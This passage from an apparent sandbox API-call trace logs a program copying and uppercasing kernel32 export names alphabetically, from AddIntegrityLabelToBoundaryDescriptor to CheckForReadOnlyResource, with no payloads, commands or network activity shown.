lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0139.811] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0139.811] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0139.811] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0139.811] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0139.811] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0139.811] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0139.811] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0139.811] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0139.811] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0139.811] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0139.811] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0139.812] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0139.812] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0139.812] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0139.812] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0139.812] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0139.812] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0139.812] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0139.812] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0139.812] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0139.812] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0139.812] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0139.812] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0139.812] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0139.812] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0139.812] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0139.812] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0139.812] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0139.812] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0139.812] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0139.812] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0139.812] lstrlenA (lpString="BACKUPREAD") returned 10 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0139.813] lstrlenA (lpString="BACKUPSEEK") returned 10 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0139.813] lstrlenA (lpString="BACKUPWRITE") returned 11 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0139.813] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0139.813] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0139.813] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0139.813] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0139.813] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0139.813] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0139.813] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0139.813] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0139.813] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0139.813] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0139.813] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0139.813] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0139.813] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0139.813] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0139.813] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0139.813] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0139.813] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0139.813] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0139.814] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0139.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0139.814] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0139.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0139.814] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0139.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0139.814] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0139.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0139.814] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0139.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0139.814] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0139.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0139.814] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0139.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0139.814] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0139.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0139.814] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0139.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0139.814] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0139.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0139.814] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0139.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0139.814] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0139.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0139.814] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0139.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0139.814] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0139.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0139.814] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0139.814] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0139.815] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0139.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0139.815] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0139.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0139.815] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0139.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0139.815] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0139.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0139.815] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0139.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0139.815] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0139.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0139.815] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0139.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0139.815] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0139.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0139.815] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0139.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0139.815] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0139.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0139.815] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0139.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0139.815] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0139.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0139.815] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0139.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0139.815] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0139.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0139.815] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0139.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0139.815] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0139.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0139.815] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0139.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0139.815] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0139.815] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0139.816] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0139.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0139.816] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0139.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0139.816] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0139.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0139.816] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0139.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0139.816] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0139.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0139.816] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0139.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0139.816] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0139.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0139.816] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0139.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0139.816] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0139.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0139.816] lstrlenA (lpString="BEEP") returned 4 [0139.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0139.816] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0139.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0139.816] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0139.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0139.816] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0139.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0139.816] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0139.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0139.816] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0139.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0139.816] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0139.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0139.816] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0139.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0139.816] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0139.816] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0139.816] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0139.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0139.817] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0139.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0139.817] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0139.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0139.817] lstrlenA (lpString="CANCELIO") returned 8 [0139.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0139.817] lstrlenA (lpString="CANCELIOEX") returned 10 [0139.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0139.817] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0139.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0139.817] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0139.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0139.817] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0139.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0139.817] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0139.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0139.817] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0139.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0139.817] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0139.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0139.817] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0139.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0139.817] lstrlenA (lpString="CHECKELEVATION") returned 14 [0139.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0139.817] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0139.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: 